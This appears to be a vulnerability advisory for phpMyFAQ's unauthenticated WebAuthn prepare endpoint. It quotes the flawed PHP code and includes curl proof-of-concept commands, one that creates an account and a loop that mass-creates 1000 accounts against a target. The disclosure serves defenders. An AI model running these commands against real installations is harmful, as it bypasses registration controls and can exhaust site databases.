### Summary

The WebAuthn prepare endpoint (`/api/webauthn/prepare`) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled.

### Details

**File:** `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php`, lines 63-79

```php
#[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])]
public function prepare(Request $request): JsonResponse
{
$data = json_decode($request->getContent(), ...);
$username = Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS);

if (!$this->user->getUserByLogin($username, raiseError: false)) {
try {
$this->user->createUser($username);
$this->user->setStatus(status: 'active');
$this->user->setAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN->value);
$this->user->setUserData([
'display_name' => $username,
'email' => $username,
]);
```

The endpoint:
1. Accepts any POST request with a JSON `username` field
2. If the username doesn't exist, creates a new **active** user account
3. Does NOT check if WebAuthn support is enabled (`security.enableWebAuthnSupport`)
4. Does NOT check if registration is enabled (`security.enableRegistration`)
5. Does NOT verify CSRF tokens
6. Does NOT require captcha validation
7. Has no rate limiting

### PoC

```bash
# Create an account - no auth needed
curl -X POST https://TARGET/api/webauthn/prepare \
-H 'Content-Type: application/json' \
-d '{"username":"attacker_account"}'

# Mass account creation
for i in $(seq 1 1000); do
curl -s -X POST https://TARGET/api/webauthn/prepare \
-H 'Content-Type: application/json' \
-d "{\"username\":\"spam_user_$i"}" &
done
```

### Impact

- **Registration bypass:** Accounts created even when self-registration is disabled
- **Username squatting:** Reserve usernames before legitimate users
- **Database exhaustion:** Create millions of fake active accounts (DoS)
- **User enumeration:** Different responses for existing vs new usernames
- **Security control bypass:** WebAuthn config check is bypassed entirely

All phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.

CWE-862 Missing Authorization